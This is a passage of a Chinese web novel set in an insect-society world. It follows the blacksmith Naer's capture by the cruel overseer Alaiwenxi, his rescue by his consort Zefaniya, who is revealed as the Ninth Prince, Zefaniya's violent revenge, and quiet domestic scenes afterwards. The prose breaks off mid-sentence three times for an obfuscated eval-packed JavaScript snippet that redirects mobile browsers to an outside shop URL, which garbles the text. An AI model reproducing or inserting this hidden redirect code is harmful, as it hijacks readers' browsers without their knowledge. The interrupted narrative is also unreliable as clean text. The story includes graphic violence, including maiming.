纳尔悬在半空的锤子顿了顿。他回过头,看见则法尼亚不知何时已站在门边,身上换了素色的棉质睡衣,那头总是整齐束起的白发此刻松散地披在肩头,发梢还沾着未干的水汽。 “床铺好了,”则法尼亚温声说,“您该休息了。” “……好。” 纳尔确实感到了疲倦,也怕再像昨夜那样突然力竭。他点点头,仔细熄了炉火,拿起换洗衣物走向浴室。 温热的水流冲刷过紧绷的肌肉,暂时舒缓了他的疲惫。 纳尔擦着头发走出来时,在卧室门口停住了脚步,他突然想到了一件事—— 今晚,他还要和则法尼亚一起睡吗? 他看向客厅里那张沙发,已经被收拾得整洁空荡,显然比昨夜更适合休息。 可昨日他和则法尼亚已经同床而眠,今日若再突兀提出分房,反倒显得刻意又生分。 “雄主?”卧室里传来则法尼亚带着困意的轻唤,“还没好吗?” 纳尔攥了攥毛巾,终究还是推门走了进去。 屋内,则法尼亚侧躺在床的内侧,听见动静便转过身来。暖黄的床头灯在他银白的发丝上镀了一层光晕,他拍了拍身旁空出的位置,声音里带着刚沐浴后的微哑: “床暖好了。” “……” 纳尔站在床边,沉默地看了他几秒。则法尼亚也不催,只静静回望着,眼底映着一点浅淡的笑意。 最终,纳尔还是掀开被子躺了进去。床垫微微下沉的瞬间,他隐约感觉则法尼亚似乎向后悄无声息地挪开了一寸。 也许是错觉。 这张床实在不算宽敞。即便两虫都规矩地平躺着,肩臂仍不可避免地轻轻相触。 一股极淡的、类似花香的气息,从身侧若有若无地飘来,萦绕在鼻尖。 哪来的香气? “晚安,雄主。” 还未来得及细想,身旁便传来低柔的问候。 纳尔闭上眼,低声回应:“晚安。” 半晌,当纳尔的呼吸声渐渐平稳下来后,一旁的则法尼亚无声地睁开了眼。 他缓缓坐起身,借着窗外透进的微光,看向身旁的小雄虫。 纳尔呼吸均匀,睫毛在眼下投出小小的阴影,睡得毫无防备。 则法尼亚嘴角弯起一个极浅的弧度,指尖轻轻戳了戳对方温热的脸颊,低唤: “雄主?” 没有回应。 笑意在则法尼亚眼中存留一瞬,却又在下一刻倏然冻结。他悄无声息地翻身下床,走到窗边,打开了终端。 「路法索,帮我调查七十星区,找时间让负责虫和我见一面。」 * 接下来的十几天,二虫的日子过得极其简单且相似。 纳尔打铁,则法尼亚料理家务。 虽然单调,但纳尔能感觉到自己对于打铁技艺的掌握已经愈发成熟。 他对自己这身突飞猛进的技艺始终心存疑虑,却无法从原身的记忆中找到任何依据。 纳尔也尝试呼唤过那个自称“系统”的圆球,可对方果真如它所说的那般“忙碌”,再未现身。 真是…… 毫无职业道德。 纳尔坐在家门前的石阶上,仰头望向灰蒙蒙的天空。 积压的订单已基本完成,邻居们从最初的惊讶到后来的赞不绝口,都说他打出的铁器水准已直追当年的谢尔达阁下。 随之而来的,自然是新一轮“我家虫崽勤快懂事”的推销。 纳尔只得再次婉拒。 没有新订单,便断了收入来源。但则法尼亚不知从哪里找了份“送货”的短工,报酬竟颇为丰厚。 自他开始工作,纳尔的衣柜里便添 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132578|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好几身新衣,连伙食也改善了些。 虽然主食仍是罐头。 因为则法尼亚依然总是在弄错佐料。 天色渐暗,周围的灯光都渐渐亮了起来,但则法尼亚还未归家。 纳尔正有些不安地站起身,打算出去寻他,却见一个瘦小的身影跌跌撞撞从巷口奔来。 “阁下!雄虫阁下!” 是之前那个总躲在门后的小雌虫。 “怎么了?”纳尔迎上前。 小雌虫在他面前刹住脚步,胸口剧烈起伏,脸上满是惊惶:“阁、阁下!铁虫帮……他们又回来了!求您……救救我们!” 纳尔蹙起眉。 他仔细打量眼前的孩子,对方始终低着头,身体抖得厉害。 但纳尔总觉得有一种说不出的违和感。 可那双眼里噙着的恐惧,不似作伪。 “带我去。” 纳尔终究还是心软了。 小雌虫转身带路,纳尔沉默地跟在后面。越走越偏,周围的建筑愈发破败,还有一种熟悉的感觉。 这条路,似乎是通向F区的方向,他为什么要绕路? 等等。 如果铁虫帮卷土重来,为何不带他去上次那个据点? “停下。”纳尔沉声开口。 前方的小雌虫浑身一僵,猛地回过头。就在对上纳尔视线的刹那,他眼中爆发出巨大的恐惧,仿佛看到了什么可怖之物。 “对、对不起!” 他嘶喊一声,再不敢多看,扭头便扎进旁边的窄巷,眨眼消失不见。 纳尔心头一紧,立刻转身欲退。 “哦?当真是个雄虫。” 一道含着笑意的、慢悠悠的嗓音自身后响起。 “我倒是好奇得很,一个雄虫,是怎么赤手空拳放倒我数十个手下的?” 纳尔脸色彻底沉了下来。他缓缓转过身。 不远处的阴影里,走出一个长发雄虫。他衣着考究,与周遭的破败格格不入,身后跟着不下二十名身穿统一制式铠甲的军雌。 “你是谁?” “失礼了。”长发雄虫优雅地欠了欠身,笑容无懈可击,“自我介绍一下,在下名为阿莱文西,七十星区的负责虫。阁下是否记得,十几日前,您曾从我这,劫走了一批雌虫?” “劫走?”纳尔冷笑,“你的用词真有意思。” “难道不是么?”阿莱文西歪了歪头,仿佛真的在困惑,“不过嘛,守卫不力也是事实。所以——” 他笑容不变,语气轻快极了。 “我把他们都处理掉了。” 纳尔的指节捏得发白。 “你找我,到底想做什么?” “唔,也没什么大事。”阿莱文西拍了拍手,“只是想确认一个小问题。” 他身后两名军雌应声而动,从废墟后拖出一个身影——是利利法。 老雌虫的一条腿以诡异的角度弯折着,显然已彻底断了,只能被粗鲁地拖行在地。 他看到被围在中央的纳尔,浑浊的眼睛骤然睁大,嘴唇哆嗦着,却发不出声音。 “说吧。”阿莱文西用鞋尖碰了碰利利法污秽的脸,眉头嫌恶地蹙起,“告诉这位好心的阁下,你是不是自愿为我服务的?是不是……对我忠心耿耿?” 利利法死死低着头,全身颤抖,一言不发。 “看来……”阿莱文西叹了口气,声音却骤然转冷,“他们汇报的是真的。” 他身侧一名军雌忽然上前一步,手中赫然握着一把铁锄——正是纳尔当日为利利法打造的其中一把。 “砰!” 沉重的锄头裹挟着风声,狠狠砸在利利法佝偻的背上。 骨裂的闷响清晰可闻。 “住手!” 纳尔瞳孔骤缩,厉声叫住了他。 “一个背弃了雄虫的破烂雌虫,”阿莱文西慢条斯理地抚平袖口,声音里带着居高临下的残忍,“还有什么活着的价值?” “你——” 纳尔眼底的理智彻底崩塌,浑身肌肉瞬间绷紧,连呼吸都不自觉发抖。 下一瞬,他如同离弦的箭,猛地朝阿莱文西冲去! “拿下他。” 长发雄虫却似早有预料,不慌不忙地向后退了半步,嘴角甚至噙着看好戏般的笑容。 四周静候多时的军雌瞬间动了。 8. 救场 纳尔冲出的瞬间,三柄长刀已封死前路。 他没有减速,左手径直探向最近的刀锋,他握住的不是刀柄,而是泛着冷光的刃身。 “咔——!” 那刀身在他两指尖间发出一声脆响,竟被硬生生捏出蛛网般的裂痕,随即断裂。 碎片溅开的刹那,纳尔已夺过半截断刃,反手挥向右侧劈来的战斧。 两道金属相撞发出令人牙酸的声响,战斧刃口应声崩开一道狰狞的缺口。 持斧军雌虎口崩裂,连退两步,眼中尽是骇然。 但更多的兵器从阴影中涌出。 纳尔侧身躲过直刺心口的长矛,双手钳住矛杆两端,膝部向上一顶。 “啪!” 矛杆应声断裂。 这一切不过呼吸之间。包围圈出现了刹那呆滞,这些训练有素的军雌眼中,第一次浮起近乎荒谬的愕然。 一个雄虫……用血肉之躯,徒手折断了他们的武器? 越来越多的军雌武器脱手、变形、断裂。地面很快散落着扭曲的刀身、崩口的战斧、断成数截的长棍。 可包围圈并未溃散。倒下一个,立刻有新的身影补上缺口。 纳尔站在满地狼藉中央,胸膛微微起伏。垂在身侧的双手虎口已然崩裂,渗出的血丝在指节上凝成暗红的纹路。 “有点意思。” 阿莱文西的声音从层层身影后传来,带着玩味的赞叹,却无半分慌乱。 他优雅地抬起手。 后方始终未曾动作的十余名军雌,齐刷刷解下背负的统一装备。 不是冷兵器。 而是通体漆黑、足有臂粗的高压电棍。顶端缠绕的蓝色电弧噼啪作响,在昏暗的夜色中映亮一张张面无表情的脸。 “不过,再特别的血肉之躯,”阿莱文西眯了眯眼,“也有极限,不是吗?” 话音落下的瞬间,那些手持电击棍的军雌动了。 纳尔瞳孔骤然收缩。 他目光扫过对方手中强大的武器,扫过外围更多蓄势待发的身影,最后落在远处——利利法倒在血泊中奄奄一息。 而更远处,或许还有更多无辜者正因他此刻的“反抗”而承受代价。 即使他能侥幸躲过一击,可等着他的,不止这一次攻击。 纳尔的肺部像火烧一样疼,虎口的伤痕越来越大,他几乎要握不住那半截刀刃。 肌肉紧绷到了极致,又缓缓松下。 纳尔咬紧牙关,后退半步,几乎是从齿缝里,极不情愿地挤出三个字: “……我认输。” 这一刻, 所有动作戛然而止。 不远处的阿莱文西如有预料般,缓缓绽开了属于胜利者的微笑。 * “雄主?” 则法尼亚在客厅轻唤,无虫回应。 他推开卧室门,里面空荡寂静。 “雄主?” 他的声音在空旷的房间里显得格外清晰,却始终没有等到那道熟悉的回应。 脸上惯常的温和笑意彻底消失。 “系统,”他对着空气开口,“定位他的位置。” “是。” 机械音落下的瞬间,则法尼亚已转身出门。他穿过巷子,在转角阴影处停下。 “都出来吧。” 路法索率先从暗处现身,身后跟着几名便装军雌。看清则法尼亚脸色的刹那,路法索心头一凛。 “带上虫,跟我走。” …… 今早,则法尼亚借着“送货”的理由和路法索见过一面。 他们交换了情报:七十星区这些年的资金流向异常,大量拨款在中间环节消失。而这座星球的直接负责虫,名叫阿莱文西。 则法尼亚知道这个名字。 利拉公爵的虫崽。 多年前一场宴会上,那只雄虫曾当众对着则法尼亚嗤笑:“精神力低成这样,给我当雌奴都不配。” 路法索补充的情报更具体:阿莱文西极度排斥其他雄虫。他掌控偏远星球后,会以各种名义驱逐本土雄虫,让自己成为星球上唯一的、至高无上的存在。雌虫们被迫将他奉若虫神。 “这些情报来自一个曾经被他砍断手、换上铁臂的雌虫。”路法索说,“但最近,那虫不见了。” 而现在。 系统的声音在脑海响起:“目标位于F区废弃场。生命体征稳定。周边检测到三十七个热源反应,其中一个正是……阿莱文西。” 则法尼亚抬起眼。 “去F区。” 他迈步向前,身影没入渐深的夜色。 * 月色下,纳尔被两名军雌死死按在地上,两柄未损的长剑交叉架在他颈侧,刃口紧贴皮肤,压出冰冷的凹痕。 阿莱文西在他面前蹲下,唇角含笑,他俯身,像在欣赏一件意外得来的玩具。 “若不细看,还真会当你是个弱不禁风的亚雌。”他的声音轻柔,却带着毒蛇吐信般的寒意,“谁能想到,这副皮囊下藏着这样的力气。难怪我那些不成器的手下,会栽在你手里。” 他伸手,冰凉的手指捏住纳尔的下巴。纳尔猛地偏头想躲,颈侧的剑刃随之划过,一线血珠瞬间渗了出来。 持剑的军雌手一抖,下意识松了半分力道——他伤了雄虫。 “哎呀,小心些。”阿莱文西的笑意更深,眼底却毫无温度,“这位可是尊贵的雄虫阁下,千万——别弄死了。” 他边说边接过旁边军雌递来的一柄短剑,用冰冷的刀身轻轻拍打纳尔的脸颊。 那动作带着强烈的侮辱,纳尔呼吸骤然加重,喉间溢出一个字: “滚。” 话音未落,短剑的锋刃已擦过他脸颊。一丝刺痛传来,温热的液体顺着皮肤滑下。 “多漂亮的一张脸啊……可惜,出现在我的国度里,就是最大的错误。”阿莱文西的指尖划过纳尔脸上的血痕,声音里带着一种近乎吟唱的陶醉,“这里只需要一位神明,只需要一张被仰望的脸。你猜……是谁的?” “这样吧,”阿莱文西的目光扫过满地扭曲断裂的武器,“你弄坏我多少件宝贝,我就在你脸上留多少道纪念。” “公平交易,如何?” 纳尔咬紧牙关,死死盯着他,一言不发。 “或者……”阿莱文西的视线转向阴影处,那里瑟缩着一群被驱赶到一处的F区居民,包括那个骗纳尔前来的小雌虫。 “让他们替你。” 他的声音轻飘飘的,却像重锤砸在每一个虫心上,“一条命,抵一道疤。” “你觉得……划算吗?” 纳尔浑身剧烈颤抖起来,指节攥得发白,依旧沉默。 “不说话我就当你默许了。”阿莱文西自言自语般点头,目光在虫群中掠过,最终定格在那个瘦小的身影上。 “就他吧。毕竟是他把你骗来的。”他声音里带着某种残忍的愉悦,“这样的坏种,死了也不可惜。” “不!不要!”小雌虫凄厉的哭喊划破夜空,“阁下!救救我!我雌父说他今年会回来的!我还没见到他!我不想死!求求你——啊!” 话音未落,他已被两名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132579|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮硕的军雌粗暴地拖出虫群,下一秒,他的一只胳膊被两只军雌合力拽断。 纳尔目眦欲裂:“住手——!” “怎么?”阿莱文西歪头,像在真心困惑,“你忘了?是他背叛了你。对骗子心软……可不是明智之举。” 纳尔的大脑一片轰鸣。 是的,他最恨欺骗。 那些将他人信任践踏在地的谎言,他曾亲身尝过其苦。可是……可是眼前那双濒死的、蓄满泪水的眼睛…… “住手……”他声音嘶哑,垂下头,额发遮住了眼底翻涌的痛苦。 “别再……伤害他们。” 话音落下的刹那! 一道破风声撕裂夜色! 几乎在声音传入耳中的同一瞬,围在纳尔与阿莱文西周围的数名军雌如遭重击,闷哼着向两侧倒飞出去。 一股沉重如山的恐怖精神力威压骤然降临,将场上所有虫死死按在原地,连呼吸都变得困难。 阿莱文西惊愕回头。 一道白色身影掠过月光,单单眨眼功夫,压制纳尔的两名军雌颈侧遭到重击,软软瘫倒在地。 下一秒,冰凉的剑尖抵上了阿莱文西的喉结。 白发雌虫单手将纳尔护在怀中,另一手持剑。 月光洒在他肩头,那双总是含笑的蓝眸此刻却翻涌着几乎凝成实质的杀意。 “你……”阿莱文西的声音抑制不住地颤抖。 纳尔被则法尼亚紧紧按在肩头,脸颊贴着对方微凉的衣料,一时怔然失语。 “雄主,”则法尼亚的声音贴着他耳畔响起,双手忍不住颤抖,“没事吧?” “……没事。” “您脸上的伤……”则法尼亚的目光扫过他渗血的面颊,随即猛地定格在他颈侧那道新鲜的血痕。 他竟想下死手! 这个认知瞬间打破了则法尼亚最后的理智。 杀意沸腾。 可他不能。 他是雌虫,对方是雄虫。 则法尼亚闭了闭眼,再睁开时,眼底只剩一片骇人的冰冷。他松开怀抱,将纳尔轻轻推向身后安全的位置,声音压得极低: “雄主,请您稍候片刻。” 纳尔依言退后。 下一瞬,则法尼亚的身影消失在原地。 阿莱文西只觉脖颈一紧,整个虫被一股无法抗拒的巨力按倒在地! 后脑重重撞上坚硬的地面,眼前阵阵发黑。那只冰冷的手死死扼住他的喉咙,指节深陷皮肉。 “你……你敢……我、我可是A级雄虫……我、要告、发……”他呼吸困难,从齿缝里挤出断续的威胁。 则法尼亚俯身逼近,月光照亮那双寒如深渊的蓝色眼睛,和那张曾在他记忆中留下耻笑的脸。 “还没认出我吗,阿莱文西。”则法尼亚怒火愈加。 阿莱文西瞳孔骤然收缩。 白发。蓝眸。 这张脸……这张曾被他在宴会上肆意嘲弄、断言“连雌奴都不配”的脸…… “九……殿下……” 他怎么会在这里?在这颗废弃星球?! “则法尼亚。” 纳尔的声音从身后传来,带着他一贯的温度。 那声音像一道清泉,骤然浇熄了则法尼亚眼底几近失控的焰火。 他指间的力道微微一松。 阿莱文西得以吸入一丝空气,剧烈呛咳起来。 则法尼亚缓缓直起身,居高临下地睥睨着他,一字一句: “滚回你的府邸。” “等着我来审判你。” 9. 体贴 “雄主,你怎么样?” 则法尼亚将纳尔紧紧拥入怀中,指尖小心翼翼地触碰着他脸上未干的血痕。 那双总是含着从容笑意的蓝眸里,此刻清晰地倒映着纳尔狼狈的脸,里面翻涌着不加掩饰的心疼与后怕。 两虫的呼吸近在咫尺,温热地交织在一起。纳尔甚至能闻到他身上那股熟悉的、淡淡的花香气息。 莫名的热意爬上耳根。 “我没事。”纳尔低声说。 就在这时,又一阵密集而整齐的脚步声由远及近。 纳尔心头一凛,警觉地循声望去,只见一队身着帝国制式铠甲的军雌正迅速列队而来。 他下意识绷紧身体,以为是阿莱文西的后援。 “小心,又有虫……” 话未说完,则法尼亚已半搂着他转过身,声音平静地响起:“别怕,雄主。他们是帝国亲卫军。” 为首的正是路法索。他快步上前,向则法尼亚微不可察地颔首,随即转向纳尔,语气恭敬而清晰: “禀报阁下,我等奉九殿下之命,随行巡视本星区。殿下察觉此区域出现异常,命我等即刻前来探查,这才得以寻见阁下。” 他顿了顿,目光扫过一片狼藉的现场和阿莱文西瘫倒的方向,声音更低,“所幸……及时。” “九殿下……” 纳尔忽然觉得这个称呼有些耳熟,似乎在哪里听过,好像是……是什么时候来着? 思绪混沌模糊,像是隔了一层水雾,怎么也抓不住清晰的轮廓。 与此同时,一股迟来的、排山倒海般的虚脱感猛然袭来。 方才紧绷的神经一旦松懈,过度消耗的体力与精神便瞬间反噬。他腿一软,整个虫不受控制地向后倒去。 “雄主?”则法尼亚的手臂瞬间收紧,声音里染上罕见的惊慌。 纳尔的视野开始晃动、发黑,耳边的声音也变得忽远忽近。 他用尽力气抬起手,颤抖地指向不远处—— 倒在血泊中生死不知的利利法,还有那个捂着断臂,满脸泪痕惊惧交加的小雌虫。 “则法尼亚……”他气息微弱,每个字都像从肺腑里艰难挤出,“帮我……救救他们……” 话音落下,最后一点力气也随之抽离,他彻底陷入黑暗。 则法尼亚紧紧抱着怀里失去意识的雄主,感受着他过于轻飘的体重和冰凉的手,那股几乎将阿莱文西扼杀的暴怒与冰冷再次涌上心头。 他抬起头,方才面对纳尔时的所有温柔与慌乱完全消失,声音冰冷地下令: “路法索。” “属下在。” “立刻接管现场。调遣随行医疗虫,优先救治那名老雌虫和幼崽。” “是!”路法索领命,迅速指挥亲卫展开行动。 则法尼亚打横抱起纳尔,转身走向亲卫军驶来的飞船。 他的目光扫过废墟,扫过那些惊恐未消的F区居民,最后落回怀中昏迷的纳尔脸上。 有些事,该彻底清算了。 …… 则法尼亚留在现场处理后续时,阿莱文西已连滚带爬回到府邸。 他撞开书房暗门,手忙脚乱地将珠宝与密钥塞进手提箱,额角冷汗涔涔。 “则法尼亚,那个卑贱的雌虫!仗着皇族的身份竟敢对A级雄虫动手……等我回到主星禀报雄父,定要他跪着求我——” “哦?阿莱文西阁下,打算让我怎么‘跪着求你’呢?” 含笑的声音自身后悠然响起。 阿莱文西浑身一僵,猛地转身。 则法尼亚不知何时已倚在门边。月光从窗外落进来,照亮他唇角那抹似笑非笑的弧度。 “你、你怎么进来的?门口的守卫——” “守卫?”则法尼亚挑眉,“你是指那几个正躺在地上做梦的虫么?” 阿莱文西脸色煞白,后退一步撞上桌沿:“我警告你,我是A级雄虫!根据《雄虫保护法》第七条,雌虫对雄虫实施暴力将判处——” “判处什么?”则法尼亚缓步走近,靴跟敲击地面的声音在寂静中格外清晰,“流放?苦役?还是……死刑?” 他在阿莱文西面前停下,微微俯身。 “可惜了,这些我都不怕。” 阿莱文西的呼吸急促起来:“你到底想干什么?” “很简单。”则法尼亚直起身,从腰间抽出那柄纳尔亲手为他打造的剑,“你在我雄主脸上留了几道纪念。我这个虫,向来讲究礼尚往来。” “雄主?哈哈哈哈——”阿莱文西像是听到了什么荒谬绝伦的笑话,突然癫狂地大笑起来。 “那个低级雄虫?则法尼亚,你果然和你那低贱的血统一样,只配得上这种垃圾!早知道我就该对他好一点,哄着他,说不定还能让他把你当作玩物送给我玩玩……啊!” 凄厉的惨叫撕裂夜空。 则法尼亚手中的长剑不知何时已染上暗红。 他垂眸看着蜷缩在地、痛苦抽搐的阿莱文西,脸上没有任何表情。 “你……你竟敢……”阿莱文西捂着血肉模糊的下.体,声音因剧痛而颤抖,“皇室……不会放过你……” “皇室?”则法尼亚轻声重复,忽然笑了,“你还是先担心你自己吧。” “再不管,就接不上了。” * 纳尔在药膏清凉的气息中醒来。 脸颊上传来微凉的触感,是则法尼亚的指尖,正蘸着淡青色的药膏,极轻地在他伤口边缘打着圈按摩。 “则法尼亚……” “我在,雄主。”耳边的声音放得又低又柔。 “他们……怎么样了?”纳尔的声音还有些哑。 涂抹药膏的手指微微一顿。 “都活着。” 纳尔紧绷的肩膀松了下来,又问:“那你呢?受伤了吗?” “我很好,雄主。” 得到这句回答,纳尔才像是终于卸下了所有力气,眼皮沉沉合上,呼吸很快变得绵长。 可他睡得并不安稳。 混乱的梦境交织在一起,贫民窟的哭喊、金属断裂的脆响、刀锋的冷光、还有属于另一个他自己的、遥远而破碎的记忆碎片…… 有很长一段时间,他在梦里几乎分不清哪些是自己的恐惧,哪些是原身未曾消散的痛苦。 等意识彻底挣脱梦境时,已是第二日清晨。 天光微亮,朦胧的光线从灰蓝色的窗帘缝隙透进来。 纳尔缓缓睁开眼,下意识想动一动僵硬的手指,却发现手掌动弹不得。 他低头看去,他的两只手都被雪白的绷带缠绕着,包扎得确实很严实,但有些紧,勒得伤口疼,厚重的绷带缠在手上,活像两只裹得乱七八杂白色毛线团。 看来昨晚帮他处理伤口的是个彻头彻尾的新手。 他无声地叹了口气,移开视线,目光落在身侧。 则法尼亚半张脸埋在他颈窝里,银白的长发铺散在枕上,有几缕滑落在他胸口。 一只手臂正松松地环搭在他腰间,呼吸轻缓绵长,睡颜安然。 纳尔怔了怔。 他很少比则法尼亚醒得早。 纳尔知道自己睡觉向来规矩,几乎整夜不动,便也一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132580|196233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为则法尼亚是同一种。 直到此刻亲眼看见,这只总显得从容优雅的雌君,睡梦中却会无意识地靠过来,手脚并用地将他当成虫形抱枕。 嗯…… 有点热,脸和身体都是。 即使同床共枕多日,纳尔也是第一次有机会、也有清醒的意识,这样安静地打量他。 则法尼亚确实生得极好。 睫毛长而密,在眼下投出浅浅的阴影。皮肤是那种久不见光的冷白,此刻在晨光里却透出些温润的质感。 纳尔看了好一会儿,才移开目光,盯着天花板发呆。 他睡不着了,却又不想吵醒身边熟睡的虫。 时间悄然流逝,他听着则法尼亚平稳的呼吸,感受着腰间手臂传来的、不轻不重的份量,就这么一动不动地躺着,直到窗外天色渐渐转明。 则法尼亚醒来时,先是习惯性地往身边的热源蹭了蹭,随即才意识到什么,猛然睁开眼。 !!? 纳尔正睁着眼睛,安安静静地看着他。 “雄主?”他声音里还带着刚醒的微哑和一丝来不及掩饰的惊愕。 “嗯?”纳尔眨了眨眼,表情平静,“你醒了?” 则法尼亚彻底清醒了,耳根后知后觉地漫上一点不易察觉的热意:“您……今天怎么醒得这么早?” “睡饱了。” 纳尔答得十分自然,仿佛被虫当了一整晚抱枕是再寻常不过的事,只不过藏在头发里的耳朵悄悄泛起了红晕。 他淡定地坐起身,活动了一下有些发麻的肩膀,目光落在自己手腕那两团惨不忍睹的“绷带作品”上。 空气安静了一瞬。 “……这包扎,”纳尔注意到则法尼亚有些期待又有些紧张的目光,一个念头在他脑中成型,他顿了顿,犹豫道: “则法尼亚,这是你昨晚弄的?” 则法尼亚的视线飘向窗外,声音小了下去:“……嗯。” “第一次?” “……嗯。” 纳尔没忍住笑了一声,没再说什么,只是低下头,开始用牙齿配合另一只手,试图解开那团裹的有些疼的结。 则法尼亚看着他笨拙却认真的动作,看了几秒,忽然伸出手。 “雄主,”他的指尖轻轻碰了碰纳尔的手腕,声音恢复了一贯的温度,却多了些别的东西,“我重新帮您包一次吧。” 纳尔犹豫了一下,终是点了点头。 则法尼亚便捧起他的手腕,开始解那团乱糟糟的结。指尖偶尔不可避免地擦过纳尔的皮肤,带来微凉的触感。 纳尔没说话,只是安静地看着他。 雌虫垂着眼,神情是前所未有的专注,银白色的长发从肩头滑落,将他小半张侧脸和一段修长白皙的脖颈完全暴露在纳尔的视线里。 灯光恰好落在那一小块肌肤上,能看清其下淡青色的血管。 纳尔的思绪有些飘远,目光就定在那片光洁的皮肤上,无意识地发着呆。 然后,那股熟悉的、带着微甜的花香,再次若有似无地弥漫开来。 纳尔起初以为这是沐浴露的香气,可他家的沐浴露一直以来都是柑橘味。 难道,这香气是从则法尼亚身上散出来的? 他正暗自疑惑,则法尼亚已打好最后一个平整的结,抬起头,恰好对上纳尔带着探究的目光。 “雄主,好了。”则法尼亚的声音拉回他的思绪,雌虫此刻看起来有些紧张。 纳尔回过神,动了动被包扎妥帖的手腕,随即抬眼,直白地问出了口: “则法尼亚,你是喷了香水吗?” 10. 香气 “香水?”则法尼亚微微一怔,迎上纳尔那双不含任何奇怪情绪的眼眸,轻轻摇头,“没有。” “这样啊……”纳尔眨了眨眼,仍望着他后颈那处,语气单纯又直白,“可你这里闻起来很香。” !! 则法尼亚骤然明白过来,几乎是从床上弹起身,一只手迅速掩住后颈。白皙的肌肤瞬间漫开一层绯色,直烧到耳根。 “雄主,我稍后回来。” 他匆匆丢下这句话,甚至没等纳尔回应,便转身快步离去。只留下小雄虫独自坐在床沿,一脸茫然地眨了眨眼。 虽然不知道自己是不是说错了什么,但是发生了这件事后,纳尔总觉得则法尼亚可能会躲着他一段时间,然而并没有。 到了傍晚,则法尼亚又回来了,只不过脖子上多了一条黑色的项圈。 纳尔虽然有疑惑,但是并未说什么。 …… 自打手受伤后,纳尔就被则法尼亚当作残疾虫一样照顾。 除了不得不亲力亲为的生理需求,他几乎被剥夺了所有生活自理权。 那些积攒的铁器订单,更是被则法尼亚以“雄主重伤需静养”为由,不由分说地全数回绝了。 好心的邻居们提着水果和营养剂上门探望,看到纳尔整日裹着被子躺在床上、脸色红润却“虚弱”得不能自理的模样,无不面露同情,临走前还要再三嘱咐则法尼亚好生照料。 纳尔只能僵硬地微笑,在门关上的瞬间把脸埋进枕头。 天知道,他只是手缠了绷带,不是腿断了! 终日卧床的无聊,终于将纳尔逼向了一个新世界:小说。 穿越前他从来没接触过这种东西,如今却像发现了新大陆。 那些光怪陆离的故事成了他对抗无聊的唯一力量,一看便上了瘾。 这天清晨,则法尼亚前脚刚出门“送货”,纳尔后脚就从床上坐起。 他目标明确,悄无声息地走到书桌边,昨晚那本正看到关键处的小说,就是被则法尼亚没收后锁进了右手边的抽屉。 指尖即将触碰到抽屉把手…… “雄主——” 含笑的声音自身后幽幽响起,近在咫尺。 纳尔浑身一僵,做贼心虚地缓缓回头。 则法尼亚不知何时已折返,正松松环抱着手臂倚在门框上。他一头银白长发未束,慵懒地披散在肩头,那双蓝眼睛里闪烁着分明的无奈笑意。 “则法尼亚……”纳尔有些尴尬地收回手,装作若无其事地慢慢回到床上。“你怎么回来了?” “雄主,”则法尼亚叹了口气,走到书桌前,当着他的面打开了那个抽屉。 里面赫然躺着几本花花绿绿的书册。他随手拿起三本,目光扫过封面那行加大加粗、闪烁着廉价墨迹的标题,整个虫都不太好。 《霸道军雌元帅和他的娇夫雄主》 《本雄来了,小雌雌们颤抖吧》 《我的大X肌双胞胎雌君》 则法尼亚沉默地将几本书名逐一看完,深吸一口气,又缓缓吐出。 他这辈子活了二十几年,都未曾见过如此……富有冲击力的文字组合。 他捏着书脊,转向床上正用被子边缘悄悄遮住半张脸的纳尔,语气复杂,带着一种纵容又头疼的口吻: “雄主,我并非不许您看书解闷。” 他顿了顿,举起手中那本封面绘着一位肌肉贲张的军雌将娇小雄主扛在肩上的书,真诚地感慨: “只是您的品味……” 纳尔低着头,感觉一股热意从耳根直烧到脖颈。 那些书名他自然明白是什么意思,此刻被则法尼亚拿在手里,更是显得荒唐又羞耻。 可……正文真的很好看! 这几日埋头苦读,纳尔倒也恶补了不少关于这个虫族世界的“硬核知识”。 他终于恍然大悟:原来这个世界上的雌雄虫有着很大的区别,他是没有虫纹的雄虫,而则法尼亚是雌虫。 怪不得则法尼亚叫他“雄主”。 他以前竟天真地以为,雄雌之分不过是……嗯,一种体位偏好。 这个世界雄虫稀少珍贵,备受特权优待,且一个雄虫合法拥有多名雌君雌侍。 难怪那些邻居明知则法尼亚的存在,仍锲而不舍地推销自家虫崽。 而更关键的知识是,雄虫天生拥有精神力和信息素,用以安抚、甚至掌控雌虫。 但纳尔清晰地记得,他和系统初次见面时,它曾告知他,他是个精神力为零,信息素为零的废物雄虫。 “……” 看来,要瞒住的事,似乎越来越多了。 但是,他如今日夜与一只雌虫生活在一起,这些基于生理本能的秘密,真的能永远藏住吗? 